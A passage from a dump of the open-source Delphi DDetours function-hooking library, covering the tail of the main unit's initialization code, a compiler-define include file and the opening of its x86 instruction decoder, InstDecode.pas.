HOOK_INTERNAL_FUNCTIONS}\nend;\n\nprocedure FreeInternalFuncs;\nbegin\n{$IFDEF HOOK_INTERNAL_FUNCTIONS}\n  InternalFuncs.VirtualFree(@InternalFuncs.VirtualAlloc, 0, MEM_RELEASE);\n  InternalFuncs.VirtualFree(@InternalFuncs.VirtualProtect, 0, MEM_RELEASE);\n  InternalFuncs.VirtualFree(@InternalFuncs.VirtualQuery, 0, MEM_RELEASE);\n  InternalFuncs.VirtualFree(@InternalFuncs.FlushInstructionCache, 0, MEM_RELEASE);\n  InternalFuncs.VirtualFree(@InternalFuncs.GetCurrentProcess, 0, MEM_RELEASE);\n  // VirtualFree must be the last one !\n  InternalFuncs.VirtualFree(@InternalFuncs.VirtualFree, 0, MEM_RELEASE);\n{$ENDIF HOOK_INTERNAL_FUNCTIONS}\nend;\n\ninitialization\n\n{$IFDEF SUPPORTS_MONITOR}\n  FLock := TObject.Create();\n{$ELSE SUPPORTS_MONITOR}\n  FLock := TCriticalSection.Create();\n{$ENDIF SUPPORTS_MONITOR}\nGetSystemInfo(SysInfo);\nSizeOfAlloc := SysInfo.dwPageSize;\nif SizeOfAlloc < (TmpSize + TrampoSize + 64) then\n  SizeOfAlloc := (TmpSize + TrampoSize + 64);\n{$IFDEF FPC}\nOpenThread := nil;\n{$ELSE !FPC}\n@OpenThread := nil;\n{$ENDIF !FPC}\nFreeKernel := False;\n\nhKernel := GetModuleHandle(kernel32);\nif hKernel <= 0 then\nbegin\n  hKernel := LoadLibrary(kernel32);\n  FreeKernel := (hKernel > 0);\nend;\n\nif hKernel > 0 then\nbegin\n{$IFDEF FPC}\n  @OpenThread := GetProcAddress(hKernel, 'OpenThread');\n  @CreateToolhelp32Snapshot := GetProcAddress(hKernel, 'CreateToolhelp32Snapshot');\n  @Thread32First := GetProcAddress(hKernel, 'Thread32First');\n  @Thread32Next := GetProcAddress(hKernel, 'Thread32Next');\n{$ELSE !FPC}\n  @OpenThread := GetProcAddress(hKernel, 'OpenThread');\n{$ENDIF !FPC}\nend;\n{ The OpenThread function does not exist on OS version < Win XP }\nOpenThreadExist := (@OpenThread <> nil);\nInitInternalFuncs();\n\nfinalization\n\nif (FreeKernel) and (hKernel > 0) then\n  FreeLibrary(hKernel);\nFreeInternalFuncs();\nif Assigned(FLock) then\n  FreeAndNil(FLock);\n\nend.\n"
  },
  {
    "path": "Detour Hooking/Source/DDetoursDefs.inc",
    "content": "{.$DEFINE HOOK_INTERNAL_FUNCTIONS}   // hook internal functions.\n\n{$IFDEF FPC}\n  {$ASMMODE INTEL}\n{$ELSE !FPC}\n\n{$T-}\n\n{$IF CompilerVersion >= 17.0}\n  {$DEFINE DELPHI_2005_UP}\n{$IFEND}\n\n{$IF CompilerVersion >= 18.5}\n  {$DEFINE DELPHI_2007_UP}\n{$IFEND}\n\n{$IF CompilerVersion >= 20}\n  {$DEFINE DELPHI_2009_UP}\n{$IFEND}\n\n{$IF CompilerVersion >= 21}\n  {$DEFINE DELPHI_2010_UP}\n{$IFEND}\n\n{$IF CompilerVersion >= 22}\n  {$DEFINE DELPHI_XE_UP}\n{$IFEND}\n\n{$IF CompilerVersion >= 23}\n  {$DEFINE DELPHI_XE2_UP}\n{$IFEND}\n\n{$IF CompilerVersion >= 33}\n  {$DEFINE DELPHI_RIO_UP}\n{$IFEND}\n\n{$IFDEF DELPHI_2005_UP}\n  {$DEFINE SUPPORTS_INLINE}\n{$ENDIF}\n\n{$IFDEF DELPHI_XE2_UP}\n  {$DEFINE SUPPORTS_RTTI}\n  {$DEFINE SUPPORTS_GENERICS}\n  {$DEFINE RENAMED_NAMESPACE}\n{$ENDIF}\n\n{$ENDIF FPC}\n\n"
  },
  {
    "path": "Detour Hooking/Source/InstDecode.pas",
    "content": "// **************************************************************************************************\n// x86 Instruction Decode Library\n// Unit InstDecode\n// https://github.com/MahdiSafsafi/DDetours\n//\n// This Source Code Form is subject to the terms of the Mozilla \n// Public License, v. 2.0. If a copy of the MPL was not distributed \n// with this file, You can obtain one at\n// https://mozilla.org/MPL/2.0/.\n// **************************************************************************************************\n\n{ ===============================> CHANGE LOG <======================================================\n  ==>  Jun, 7, 2020:\n  +Added support for older Delphi version (D7+).\n  +Added support for FPC.\n  +Fixed some bug related to displacement.\n  \n  ==>  Dec 27,2014 , Mahdi Safsafi :\n  +BugFix : IN/INS/OUT/OUTS instructions decoding.\n  +BugFix : MOV with offset instructions decoding.\n\n  ==> Version 2:\n  +Updated opcodes map .\n  +Added support to three byte escape Table\n  +Added support to vex decoding (vex three & two byte).\n  +Added support to groups opcodes instructions.\n  +Added support to decode invalid opcode .\n  +Added support to 16-bits ModRm .\n  +Added support to handling errors.\n  +Added support for mandatory prefixes.\n  +Improve Decoding Process .=> Very faster than the old one !\n  +Reduce memory usage .\n  +Removing inused fields.\n  +Better support for REX prefix.\n  +Reduce OpCodesTable data size (the old : 8670 bytes => the new one : 1020 bytes !)\n  +BugFix : FPU instructions length.\n  +BugFix : Instructions that use two immediat .\n  +BugFix : Invalid instructions .\n  +BugFix : Invalid instructions for some mandatory prefixes.\n  +Many Bug Fix.\n\n  ====================================================================================================== }\n\nunit InstDecode;\n\n{$IFDEF FPC}\n{$MODE DELPHI}\n{$HINTS OFF}\n{$WARN 4056 OFF}\n{$WARN 4082 OFF}\n{$ENDIF FPC}\n\ninterface\n\n{$I DDetoursDefs.inc}\n\nuses\n  SysUtils,\n  LegacyTypes;\n\nconst\n  { CPUX }\n  CPUX32 = $00; { x86-32 }\n  CPUX64 = $01; { x86-64 }\n  CPUX = {$IFDEF CPUX64}CPUX64 {$ELSE}CPUX32 {$ENDIF};\n\n  { Address Mode }\n  am16 = $01; { 16-bit addressing mode }\n  am32 = $02; { 32-bit addressing mode }\n  am64 = $03; { 64-bit addressing mode }\n  { Default Addressing Mode Depending on CPUX (32/64)bit }\n  DefAddressMode: array [0 .. 1] of Byte = (am32, am64);\n  { Used to select Addressing Mode when Address Mode Prefix is used ! }\n  AddressMode: array [0 .. 1] of Byte = (am16, am32);\n\n  { Tables }\n  tbOneByte = $01; { One Byte OpCodes Table }\n  tbTwoByte = $02; { Two Byte OpCodes Table }\n  tbThreeByte = $03; { Three Byte OpCodes Table }\n  tbFPU = $04; { FPU OpCodes Table }\n\n  { Prefixs }\n  Prf_Seg_CS = $01;\n  Prf_Seg_DS = $02;\n  Prf_Seg_ES = $04;\n  Prf_Seg_GS = $08;\n  Prf_Seg_FS = $10;\n  Prf_Seg_SS = $20;\n  Prf_OpSize = $40;\n  Prf_AddrSize = $80;\n  Prf_Lock = $100;\n  Prf_Repe = $200;\n  Prf_Repne = $400;\n  Prf_Rex = $800;\n  Prf_VEX = $1000;\n  Prf_Vex2 = Prf_VEX or $2000;\n  Prf_Vex3 = Prf_VEX or $4000;\n\n  { Segment Registers }\n  Seg_CS = $01;\n  Seg_DS = $02;\n  Seg_ES = $03;\n  Seg_GS = $04;\n  Seg_FS = $05;\n  Seg_SS = $06;\n\n  { OpSize }\n  ops8bits = $01;\n  ops16bits = $02;\n  ops32bits = $04;\n  ops48bits = $06;\n  ops64bits = $08;\n  ops128bits = $10;\n  ops256bits = $20;\n  ops512bits = $40;\n\n  { OpType }\n  otNone = $00;\n  otRET = $01; { RET Instruction }\n  otCALL = $02; { CALL Instruction }\n  otJMP = $04; { JMP Instruction }\n  otJ = $08;\n  otJcc = $10; { Conditional JUMP Instruction }\n\n  { OpKind }\n  kGrp = $01;\n  // kFPU = $02; Use OpTable !\n\n  { Options }\n  DecodeVex = $01;\n\n  { ModRm Flags }\n  mfUsed = $80; { ModRm Used }\n\n  { Sib Flags }\n  sfUsed = $01; { Sib Used }\n\n  { Displacement Flags }\n  dfUsed = $01; { Disp Used }\n  dfRip = $02; { RIP Disp }\n  dfSigned = $04; { Displacement can be signed ! }\n  dfDispOnly = $08; { Displacement Only without registers ! }\n  dfOffset = $10; { Offset coded after the opcode. }\n\n  { Immediat Flags }\n  imfUsed = $01; { Imm Used }\n\n  { Branch Flags }\n  bfUsed = $01; { JUMP/CALL Used }\n  bfRel = $02; { Relative Branch }\n  bfAbs = $04; { Absolute Branch }\n  bfIndirect = $08; { Indirect Branch }\n  bfReg = $10;\n  bfFar = bfAbs or $20; { Far Branch }\n  bfRip = $40;\n\n  { Operand Flags }\n  opdD64 = $01;\n  opdF64 = $02;\n  opdDf64 = $03;\n  opdDv64 = $04;\n\n  { Options }\n  UseVA = $01;\n\n  { General Purpose Registers }\n  rEAX = $00;\n  rECX = $01;\n  rEDX = $02;\n  rEBX = $03;\n  rESP = $04;\n  rEBP = $05;\n  rESI = $06;\n  rEDI = $07;\n\n  { Error }\n  NO_ERROR = $00;\n  INVALID_CPUX = $01;\n  INVALID_ADDRESS = $02;\n  INVALID_INSTRUCTION_LENGTH = $04;\n  ERROR_DISP_SIZE = $08;\n  ERROR_IMM_SIZE = $10;\n  ERROR_VEX_ESCAPE = $20;\n  INVALID_GROUP_OPCODE = $40;\n\n  UnknownErrorStr = 'Unknown Error';\n  InstErrorsStr: array [0 .. 7] of String = (\n    { NO_ERROR }\n    'No error',\n    { INVALID_CPUX }\n    'Invalid cpux',\n    { INVALID_ADDRESS }\n    'Invalid address',\n    { INVALID_INSTRUCTION_LENGTH }\n    'Invalid instruction length',\n    { ERROR_DISP_SIZE }\n    'Invalid displacement size',\n    { ERROR_IMM_SIZE }\n    'Invalid immediat size',\n    { ERROR_VEX_ESCAPE }\n    'Invalid vex mmmmm field',\n    { INVALID_GROUP_OPCODE }\n    'Invalid group opcode');\n\n  _vex3_ = $03;\n  _opcode_ = $01;\n  _modrm_ = $01;\n  _sib_ = $01;\n  _disp32_ = $04;\n  _imm32_ = $04;\n  _imm64_ = $08;\n  { Intel define instruction length as a 15 bytes !\n    However , it's possible to incode instructions\n    that exceed the defined length !\n  }\n  MAX_INST_LENGTH_X32 = _vex3_ + _opcode_ + _modrm_ + _sib_ + _disp32_ + _imm32_;\n  MAX_INST_LENGTH_X64 = _vex3_ + _opcode_ + _modrm_ + _sib_ + _disp32_ + _imm64_;\n  CPUX_TO_INST_LENGTH: array [0 .. 1] of ShortInt = (MAX_INST_LENGTH_X32, MAX_INST_LENGTH_X64);\n{$IFDEF CPUX64}\n  MAX_INST_LENGTH_N = MAX_INST_LENGTH_X64;\n{$ELSE !CPUX64}\n  MAX_INST_LENGTH_N = MAX_INST_LENGTH_X32;\n{$ENDIF CPUX64}\n\nvar\n  { Raise Exception When Error Occurs ! }\n  RaiseExceptionOnError: Boolean = True;\n\ntype\n  InstException = class(Exception);\n\n  TModRM = record\n    iMod: Byte; { ModRm.Mod Field }\n    Reg: Byte; { ModRm.Reg Field }\n    Rm: Byte; { ModRm.Rm Field }\n    Value: Byte; { ModRm Value }\n    { ModRm.Flags => See ModRmFlagsTable.inc }\n    Flags: Byte;\n  end;\n\n  PModRM = ^TModRM;\n  LPModRM = PModRM;\n\n  TSib = record\n    Scale: Byte; { SIB.Scale Field }\n    Index: Byte; { Register Index }\n    Base: Byte; { Register Base }\n    Value: Byte; { SIB Value }\n    Flags: Byte; { SIB Flags }\n  end;\n\n  PSib = ^TSib;\n  LPSib = PSib;\n\n  TImmediat = record\n    Size: Byte; { Size of Immediat => opsxxxbits }\n    Value: Int64; { Immediat Value }\n    Flags: Byte; { Sets of imfxxx }\n  end;\n\n  PImmediat = ^TImmediat;\n\n  TDisplacement = record\n    Size: Byte; { Size of Displacement => opsxxxbits }\n    Value: Int64; { Displacement Value }\n    Flags: Byte; { Sets of dfxxx }\n  end;\n\n  PDisplacement = ^TDisplacement;\n\n  TBranch = record\n    Size: Byte;\n    Value: Int64;\n    Target: PByte; { Destination Address }\n    Falgs: Byte; { Sets of bfxxx }\n  end;\n\n  PBranch = ^TBranch;\n\n  TRex = record\n    R: Boolean; { REX.R Field }\n    X: Boolean; { REX.X Field }\n    B: Boolean; { REX.B Field }\n    W: Boolean; { REX.W Field }\n    Value: Byte; { REX Value = [$40..$4F] }\n  end;\n\n  PRex = ^TRex;\n\n  TVex = record\n    {\n      ==================> N.B <==================\n      1 => ALL FIELD ARE IN NO INVERTED FORM !\n      2 => VEX.[R,X,B & W] ARE ACCESSIBLE THROUGH REX FIELD !\n\n    }\n    vvvv: Byte; { VEX.vvvv ==> Vector Register }\n    L: Boolean; { VEX.L ==> You should use VL instead ! }\n    PP: Byte; { VEX.PP ==> Implied Mandatory Prefixes }\n    mmmmm: Byte; { VEX.mmmmm ==> Implied Escape }\n    VL: Byte; { Vector Length }\n  end;\n\n  PVex = ^TVex;\n\n  TInternalData = record\n    MndPrf: Byte; { Mandatory Prefix }\n    zOpSize: Byte; { word or dword depending on opsize prefix ! }\n    vOpSize: Byte; { word or dword or qword depending on opsize & REX prefix ! }\n  end;\n\n  PInternalData = ^TInternalData;\n\n  TInstruction = record\n    Archi: Byte; { CPUX32 or CPUX64 ! }\n    AddrMode: Byte; { Address Mode }\n    Addr: PByte;\n    VirtualAddr: PByte;\n    NextInst: PByte; { Pointer to the Next Instruction }\n    OpCode: Byte; { OpCode Value }\n    OpType: Byte;\n    OpKind: Byte;\n    OpTable: Byte; { tbOneByte,tbTwoByte,... }\n    OperandFlags: Byte;\n    Prefixes: Word; { Sets of Prf_xxx }\n    ModRm: TModRM;\n    Sib: TSib;\n    Disp: TDisplacement;\n    Imm: TImmediat; { Primary Immediat }\n    ImmEx: TImmediat; { Secondary Immediat if used ! }\n    Branch: TBranch; { JMP & CALL }\n    SegReg: Byte; { Segment Register }\n    Rex: TRex;\n    Vex: TVex;\n    LID: TInternalData; { Internal Data }\n    Errors: Byte;\n    InstSize: Integer;\n    Options: Byte;\n    UserTag: NativeInt;\n  end;\n\n  PInstruction = ^TInstruction;\n\n  TDecoderProc = procedure(PInst: PInstruction);\n\nfunction DecodeInst(PInst: PInstruction): Integer;\n\n{ Useful ModRm Routines }\nfunction GetModRm_Mod(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}\nfunction GetModRm_Reg(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}\nfunction GetModRm_Rm(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}\n{ Useful Sib Routines }\nfunction GetSib_Base(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}\nfunction GetSib_Index(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}\nfunction GetSib_Scale(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}\nfunction IsSibBaseRegValid(PInst: PInstruction): Boolean; {$IFDEF MustInline}inline; {$ENDIF}\n\nimplementation\n\n{$I OpCodesTables.inc}\n{$I ModRmFlagsTables.inc}\n{ ================================== 00 ================================== }\nprocedure Decode_InvalidOpCode(PInst: PInstruction); forward;\n{ ================================== 01 ================================== }\nprocedure Decode_NA_ModRm(PInst: PInstruction); forward;\n{ ================================== 02 ================================== }\nprocedure Decode_NA_Ib(PInst: PInstruction); forward;\n{ ================================== 03 ================================== }\nprocedure Decode_NA_Iz(PInst: PInstruction); forward;\n{ ================================== 04 ================================== }\nprocedure Decode_NA_I64(PInst: PInstruction); forward;\n{ ================================== 05 ================================== }\nprocedure Decode_Escape_2_Byte(PInst: PInstruction); forward;\n{ ================================== 06 ================================== }\nprocedure Decode_ES_Prefix(PInst: PInstruction); forward;\n{ ================================== 07 ================================== }\nprocedure Decode_CS_Prefix(PInst: PInstruction); forward;\n{ ================================== 08 ================================== }\nprocedure Decode_SS_Prefix(PInst: PInstruction); forward;\n{ ================================== 09 ================================== }\nprocedure Decode_DS_Prefix(PInst: PInstruction); forward;\n{ ================================== 10 ================================== }\nprocedure Decode_REX_Prefix(PInst: PInstruction); forward;\n{ ================================== 11 ================================== }\nprocedure Decode_NA_D64(PInst: PInstruction); forward;\n{ ================================== 12 ================================== }\nprocedure Decode_NA_ModRm_I64(PInst: PInstruction); forward;\n{ ================================== 13 ================================== }\nprocedure Decode_FS_Prefix(PInst: PInstruction); forward;\n{ ================================== 14 ================================== }\nprocedure Decode_GS_Prefix(PInst: PInstruction); forward;\n{ ================================== 15 ================================== }\nprocedure Decode_OPSIZE_Prefix(PInst: PInstruction); forward;\n{ ================================== 16 ================================== }\nprocedure Decode_ADSIZE_Prefix(PInst: PInstruction); forward;\n{ ================================== 17 ================================== }\nprocedure Decode_NA_Iz_D64(PInst: PInstruction); forward;\n{ ================================== 18 ================================== }\nprocedure Decode_NA_ModRm_Iz(PInst: PInstruction); forward;\n{ ================================== 19 ================================== }\nprocedure Decode_NA_Ib_D64(PInst: PInstruction); forward;\n{ ================================== 20 ================================== }\nprocedure Decode_NA_ModRm_Ib(PInst: PInstruction); forward;\n{ ================================== 21 ================================== }\nprocedure Decode_NA(PInst: PInstruction); forward;\n{ ================================== 22 ================================== }\nprocedure Decode_NA_Jb_Df64(PInst: PInstruction); forward;\n{ ================================== 23 ================================== }\nprocedure Decode_Group_1(PInst: PInstruction); forward;\n{ ================================== 24 ================================== }\nprocedure Decode_Group_1A(PInst: PInstruction); forward;\n{ ================================== 25 ================================== }\nprocedure Decode_NA_CALL_Ap_I64(PInst: PInstruction); forward;\n{ ================================== 26 ================================== }\nprocedure Decode_NA_OfstV(PInst: PInstruction); forward;\n{ ================================== 27 ================================== }\nprocedure Decode_NA_Iv(PInst: PInstruction); forward;\n{ ================================== 28 ================================== }\nprocedure Decode_Group_2(PInst: PInstruction); forward;\n{ ================================== 29 ================================== }\nprocedure Decode_NA_RET_Iw_Df64(PInst: PInstruction); forward;\n{ ================================== 30 ================================== }\nprocedure Decode_NA_RET_Df64(PInst: PInstruction); forward;\n{ ================================== 31 ================================== }\nprocedure Decode_VEX3_Prefix(PInst: PInstruction); forward;\n{ ================================== 32 ================================== }\nprocedure Decode_VEX2_Prefix(PInst: PInstruction); forward;\n{ ================================== 33 ================================== }\nprocedure Decode_Group_11(PInst: PInstruction); forward;\n{ ================================== 34 ================================== }\nprocedure Decode_NA_Iw_Ib_D64(PInst: PInstruction); forward;\n{ ================================== 35 ================================== }\nprocedure Decode_NA_RET_Iw(PInst: PInstruction); forward;\n{ ================================== 36 ================================== }\nprocedure Decode_NA_RET(PInst: PInstruction); forward;\n{ ================================== 37 ================================== }\nprocedure Decode_NA_Ib_I64(PInst: PInstruction); forward;\n{ ================================== 38 ================================== }\nprocedure Decode_Escape_FPU_D8(PInst: PInstruction); forward;\n{ ================================== 39 ================================== }\nprocedure Decode_Escape_FPU_D9(PInst: PInstruction); forward;\n{ ================================== 40 ================================== }\nprocedure Decode_Escape_FPU_DA(PInst: PInstruction); forward;\n{ ================================== 41 ================================== }\nprocedure Decode_Escape_FPU_DB(PInst: PInstruction); forward;\n{ ================================== 42 ================================== }\nprocedure Decode_Escape_FPU_DC(PInst: PInstruction); forward;\n{ ================================== 43 ================================== }\nprocedure Decode_Escape_FPU_DD(PInst: PInstruction); forward;\n{ ================================== 44 ================================== }\nprocedure Decode_Escape_FPU_DE(PInst: PInstruction); forward;\n{ ================================== 45 ================================== }\nprocedure Decode_Escape_FPU_DF(PInst: PInstruction); forward;\n{ ================================== 46 ================================== }\nprocedure Decode_NA_CALL_Jz_Df64(PInst: PInstruction); forward;\n{ ================================== 47 ================================== }\nprocedure Decode_NA_JMP_Jz_Df64(PInst: PInstruction); forward;\n{ ================================== 48 ================================== }\nprocedure Decode_NA_JMP_Ap_I64(PInst: PInstruction); forward;\n{ ================================== 49 ================================== }\nprocedure Decode_NA_JMP_Jb_Df64(PInst: PInstruction); forward;\n{ ================================== 50 ================================== }\nprocedure Decode_LOCK_Prefix(PInst: PInstruction); forward;\n{ ================================== 51 ================================== }\nprocedure Decode_REPNE_Prefix(PInst: PInstruction); forward;\n{ ================================== 52 ================================== }\nprocedure Decode_REPE_Prefix(PInst: PInstruction); forward;\n{ ================================== 53 ================================== }\nprocedure Decode_Group_3(PInst: PInstruction); forward;\n{ ================================== 54 ================================== }\nprocedure Decode_Group_4_INC_DEC(PInst: PInstruction); forward;\n{ ================================== 55 ================================== }\nprocedure Decode_Group_5_INC_DEC(PInst: PInstruction); forward;\n{ ================================== 56 ================================== }\nprocedure Decode_Group_6(PInst: PInstruction); forward;\n{ ================================== 57 ================================== }\nprocedure Decode_Group_7(PInst: PInstruction); forward;\n{ ================================== 58 ================================== }\nprocedure Decode_NA_CALL(PInst: PInstruction); forward;\n{ ================================== 59 ================================== }\nprocedure Decode_NA_66_F2_F3_ModRm(PInst: PInstruction); forward;\n{ ================================== 60 ================================== }\nprocedure Decode_NA_66_ModRm(PInst: PInstruction); forward;\n{ ================================== 61 ================================== }\nprocedure Decode_NA_66_F3_ModRm(PInst: PInstruction); forward;\n{ ================================== 62 ================================== }\nprocedure Decode_Group_16(PInst: PInstruction); forward;\n{ ================================== 63 ================================== }\nprocedure Decode_NA_ModRm_F64(PInst: PInstruction); forward;\n{ ================================== 64 ================================== }\nprocedure Decode_Escape_3_Byte(PInst: PInstruction); forward;\n{ ================================== 65 ================================== }\nprocedure Decode_NA_F3_ModRm(PInst: PInstruction); forward;\n{ ================================== 66 ================================== }\nprocedure Decode_66_ModRm(PInst: PInstruction); forward;\n{ ================================== 67 ================================== }\nprocedure Decode_NA_66_F2_F3_ModRm_Ib(PInst: PInstruction); forward;\n{ ================================== 68 ================================== }\nprocedure Decode_Group_12(PInst: PInstruction); forward;\n{ ================================== 69 ================================== }\nprocedure Decode_Group_13(PInst: PInstruction); forward;\n{ ================================== 70 ================================== }\nprocedure Decode_Group_14(PInst: PInstruction); forward;\n{ ================================== 71 ================================== }\nprocedure Decode_66_F2_ModRm(PInst: PInstruction); forward;\n{ ================================== 72 ================================== }\nprocedure Decode_NA_Jz_Df64(PInst: PInstruction); forward;\n{ ================================== 73 ================================== }\nprocedure Decode_Group_15(PInst: PInstruction); forward;\n{ ================================== 74 ================================== }\nprocedure Decode_F3_ModRm(PInst: PInstruction); forward;\n{ ================================== 75 ================================== }\nprocedure Decode_Group_10_UD2(PInst: PInstruction); forward;\n{ ================================== 76 ================================== }\nprocedure Decode_Group_8(PInst: PInstruction); forward;\n{ ================================== 77 ================================== }\nprocedure Decode_NA_66_ModRm_Ib(PInst: PInstruction); forward;\n{ ================================== 78 ================================== }\nprocedure Decode_Group_9(PInst: PInstruction); forward;\n{ ================================== 79 ================================== }\nprocedure Decode_66_F2_F3_ModRm(PInst: PInstruction); forward;\n{ ================================== 80 ================================== }\nprocedure Decode_F2_ModRm(PInst: PInstruction); forward;\n{ ================================== 81 ================================== }\nprocedure Decode_SP_T38_F0_F7(PInst: PInstruction); forward;\n{ ================================== 82 ================================== }\nprocedure Decode_66_ModRm_Ib(PInst: PInstruction); forward;\n{ ================================== 83 ================================== }\nprocedure Decode_F2_ModRm_Ib(PInst: PInstruction); forward;\n\nprocedure JumpError(PInst: PInstruction); forward;\nprocedure JumpToTableTwoByte(PInst: PInstruction); forward;\nprocedure JumpToTableThreeByte_38(PInst: PInstruction); forward;\nprocedure JumpToTableThreeByte_3A(PInst: PInstruction); forward;\n\nprocedure Decode_CALL_ModRm(PInst: PInstruction); forward;\nprocedure Decode_JMP_ModRm(PInst: PInstruction); forward;\nprocedure Decode_CALL_Mp(PInst: PInstruction); forward;\nprocedure Decode_JMP_Mp(PInst: PInstruction); forward;\n\nconst\n\n  { Convert PP To Mandatory Prefixes ! }\n  PPToMndPrf: array [0 .. 3] of Byte = ($00, $66, $F3, $F2);\n\n  { Convert LL To OpSize ! }\n  LLToOpSize: array [0 .. 3] of Word = (ops128bits, ops256bits, ops512bits, 0);\n\n  { Call escaping procedure ! }\n  mmmmmToEscProc: array [0 .. 4] of TDecoderProc = ( //\n    JumpError, { }\n    JumpToTableTwoByte, { 00001: implied 0F leading opcode byte }\n    JumpToTableThreeByte_38, { 00010: implied 0F 38 leading opcode bytes }\n    JumpToTableThreeByte_3A, { 00011: implied 0F 3A leading opcode bytes }\n    JumpError { }\n    );\n\n  DecoderProcTable: array [0 .. $54 - 1] of TDecoderProc = ( //\n    { 00 } Decode_InvalidOpCode,\n    { 01 } Decode_NA_ModRm,\n    { 02 } Decode_NA_Ib,\n    { 03 } Decode_NA_Iz,\n    { 04 } Decode_NA_I64,\n    { 05 } Decode_Escape_2_Byte,\n    { 06 } Decode_ES_Prefix,\n    { 07 } Decode_CS_Prefix,\n    { 08 } Decode_SS_Prefix,\n    { 09 } Decode_DS_Prefix,\n    { 10 } Decode_REX_Prefix,\n    { 11 } Decode_NA_D64,\n    { 12 } Decode_NA_ModRm_I64,\n    { 13 } Decode_FS_Prefix,\n    { 14 } Decode_GS_Prefix,\n    { 15 } Decode_OPSIZE_Prefix,\n    { 16 } Decode_ADSIZE_Prefix,\n    { 17 } Decode_NA_Iz_D64,\n    { 18 } Decode_NA_ModRm_Iz,\n    { 19 } Decode_NA_Ib_D64,\n    { 20 } Decode_NA_ModRm_Ib,\n    { 21 } Decode_NA,\n    { 22 } Decode_NA_Jb_Df64,\n    { 23 } Decode_Group_1,\n    { 24 } Decode_Group_1A,\n    { 25 } Decode_NA_CALL_Ap_I64,\n    { 26 } Decode_NA_OfstV,\n    { 27 } Decode_NA_Iv,\n    { 28 } Decode_Group_2,\n    { 29 } Decode_NA_RET_Iw_Df64,\n    { 30 } Decode_NA_RET_Df64,\n    { 31 } Decode_VEX3_Prefix,\n    { 32 } Decode_VEX2_Prefix,\n    { 33 } Decode_Group_11,\n    { 34 } Decode_NA_Iw_Ib_D64,\n    { 35 } Decode_NA_RET_Iw,\n    { 36 } Decode_NA_RET,\n    { 37 } Decode_NA_Ib_I64,\n    { 38 } Decode_Escape_FPU_D8,\n    { 39 } Decode_Escape_FPU_D9,\n    { 40 } Decode_Escape_FPU_DA,\n    { 41 } Decode_Escape_FPU_DB,\n    { 42 } Decode_Escape_FPU_DC,\n    { 43 } Decode_Escape_FPU_DD,\n    { 44 } Decode_Escape_FPU_DE,\n    { 45 } Decode_Escape_FPU_DF,\n    { 46 } Decode_NA_CALL_Jz_Df64,\n    { 47 } Decode_NA_JMP_Jz_Df64,\n    { 48 } Decode_NA_JMP_Ap_I64,\n    { 49 } Decode_NA_JMP_Jb_Df64,\n    { 50 } Decode_LOCK_Prefix,\n    { 51 } Decode_REPNE_Prefix,\n    { 52 } Decode_REPE_Prefix,\n    { 53 } Decode_Group_3,\n    { 54 } Decode_Group_4_INC_DEC,\n    { 55 } Decode_Group_5_INC_DEC,\n    { 56 } Decode_Group_6,\n    { 57 } Decode_Group_7,\n    { 58 } Decode_NA_CALL,\n    { 59 } Decode_NA_66_F2_F3_ModRm,\n    { 60 } Decode_NA_66_ModRm,\n    { 61 } Decode_NA_66_F3_ModRm,\n    { 62 } Decode_Group_16,\n    { 63 } Decode_NA_ModRm_F64,\n    { 64 } Decode_Escape_3_Byte,\n    { 65 } Decode_NA_F3_ModRm,\n    { 66 } Decode_66_ModRm,\n    { 67 } Decode_NA_66_F2_F3_ModRm_Ib,\n    { 68 } Decode_Group_12,\n    { 69 } Decode_Group_13,\n    { 70 } Decode_Group_14,\n    { 71 } Decode_66_F2_ModRm,\n    { 72 } Decode_NA_Jz_Df64,\n    { 73 } Decode_Group_15,\n    { 74 } Decode_F3_ModRm,\n    { 75 } Decode_Group_10_UD2,\n    { 76 } Decode_Group_8,\n    { 77 } Decode_NA_66_ModRm_Ib,\n    { 78 } Decode_Group_9,\n    { 79 } Decode_66_F2_F3_ModRm,\n    { 80 } Decode_F2_ModRm,\n    { 81 } Decode_SP_T38_F0_F7,\n    { 82 } Decode_66_ModRm_Ib,\n    { 83 } Decode_F2_ModRm_Ib);\n  { .$REGION 'COMMON' }\n  { ========================== COMMON =============================== }\n\nprocedure SetInstError(PInst: PInstruction; Error: Byte);\nvar\n  ErrStr: String;\nbegin\n  ErrStr := EmptyStr;\n  if Error = NO_ERROR then\n  begin\n    { Clear Errors ! }\n    PInst^.Errors := NO_ERROR;\n    Exit;\n  end;\n  PInst^.Errors := PInst^.Errors or Error;\n\n  if RaiseExceptionOnError then\n  begin\n    if (Error > 0) and (Error < Length(InstErrorsStr)) then\n      ErrStr := InstErrorsStr[Error]\n    else\n      ErrStr := UnknownErrorStr;\n    raise InstException.Create(Format('Error %d : %s.', [Error, ErrStr]));\n  end;\nend;\n\nfunction GetModRm_Mod(const Value: Byte): Byte;\nbegin\n  Result := Value shr 6;\nend;\n\nfunction GetModRm_Reg(const Value: Byte): Byte;\nbegin\n  Result := (Value and $38) shr $03;\nend;\n\nfunction GetModRm_Rm(const Value: Byte): Byte;\nbegin\n  Result := Value and 7;\nend;\n\nfunction GetSib_Base(const Value: Byte): Byte;\nbegin\n  Result := Value and 7;\nend;\n\nfunction GetSib_Index(const Value: Byte): Byte;\nbegin\n  Result := (Value and $38) shr $03;\nend;\n\nfunction GetSib_Scale(const Value: Byte): Byte;\nbegin\n  Result := (1 shl (Value shr 6));\nend;\n\nfunction IsSibBaseRegValid(PInst: PInstruction): Boolean;\nbegin\n  Result := True;\n  if PInst^.Sib.Flags and sfUsed <> 0 then\n    Result := not((PInst^.ModRm.iMod = 0) and (PInst^.Sib.Base = 5));\nend;\n\nprocedure SetOpCode(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF}\nbegin\n  PInst^.OpCode := PInst^.NextInst^;\n  Inc(PInst^.NextInst);\nend;\n\nprocedure SetGroup(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF}\nbegin\n  PInst^.OpKind := kGrp;\nend;\n\nprocedure ForceOpSize(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF}\nbegin\n  if PInst^.Archi = CPUX32 then\n    Exit;\n  PInst^.LID.vOpSize := ops64bits;\nend;\n\nprocedure DecodeSib(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF}\nvar\n  